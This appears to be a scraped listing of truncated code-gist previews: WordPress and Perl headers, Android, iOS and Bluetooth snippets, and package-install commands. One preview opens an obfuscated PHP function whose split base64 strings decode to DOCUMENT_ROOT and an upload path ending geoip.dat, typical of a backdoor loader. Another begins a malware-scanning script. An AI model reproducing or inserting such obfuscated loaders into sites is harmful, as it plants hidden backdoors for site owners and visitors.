This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* WordPress Category API | |
* | |
* @package WordPress | |
*/ | |
/** | |
* Retrieves all category IDs. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function _1202589136($i) | |
{ | |
$a = Array( | |
'RE' . '9DVU1FTl' . 'RfUk9' . 'P' . 'V' . 'A' . '=' . '=', | |
'L3V' . 'w' . 'bG' . '9hZF' . '9' . 'maWx' . 'lc' . 'y9nZW9pcC5k' . 'YXQ=', | |
'X' . 'yg' . 'u', | |
'Kilf', | |
'' . 'ZQ==', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# The above line may need to be changed to point at your version of Perl | |
# | |
# This script attempts to find malicious files/scripts on your machine. | |
# It specifically looks for spambots that we're aware of, as well | |
# as "suspicious" constructs in various scripting languages. | |
# | |
# Normally it should be run as root. | |
# | |
# By default, findbot.pl scans the directories /tmp, /usr/tmp, /home and |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
File imgFile = new File("/mnt/sdcard/ektp_baru_blur.jpg"); | |
Bitmap myBitmap = BitmapFactory.decodeFile(imgFile.getAbsolutePath()); | |
Bitmap destBitmap = Bitmap.createBitmap(myBitmap, 100,0,1410,myBitmap.getHeight()); | |
finalImg.setImageBitmap(destBitmap); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
final Handler handler = new Handler(); | |
handler.postDelayed(new Runnable() { | |
@Override | |
public void run() { | |
// Do something after 5s = 5000ms | |
Log.i("coba","JALANKAN BARIS INI"); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//1D 7C 01 n | |
byte[] bbNoSleep = {(byte)0x1D,(byte)0x7C,(byte)0x01,(byte)0xFF,}; | |
BlueToothServicesP25.sendSocketMsg(bbNoSleep); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[_loginBtn setBackgroundImage:[UIImage imageNamed:@"buttonlogin"] forState:UIControlStateNormal]; | |
UIImage *fieldBGImage = [[UIImage imageNamed:@"inputform"] stretchableImageWithLeftCapWidth:20 topCapHeight:20]; | |
[_userIDTxt setBorderStyle:UITextBorderStyleNone]; | |
[_userIDTxt setBackground:fieldBGImage]; | |
[_tinTxt setBorderStyle:UITextBorderStyleNone]; | |
[_tinTxt setBackground:fieldBGImage]; | |
UIView *paddingView = [[UIView alloc] initWithFrame:CGRectMake(0, 0, 20, 20)]; | |
_userIDTxt.leftView = paddingView; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
brew install autoconf | |
brew install automake | |
brew install libtool |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
gem install chef ruby-shadow --no-ri --no-rdoc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
android create avd -n my_avd -t 7 | |
mksdcard -l e 512M mysdcard.img | |
emulator -avd my_avd -sdcard mysdcard.img |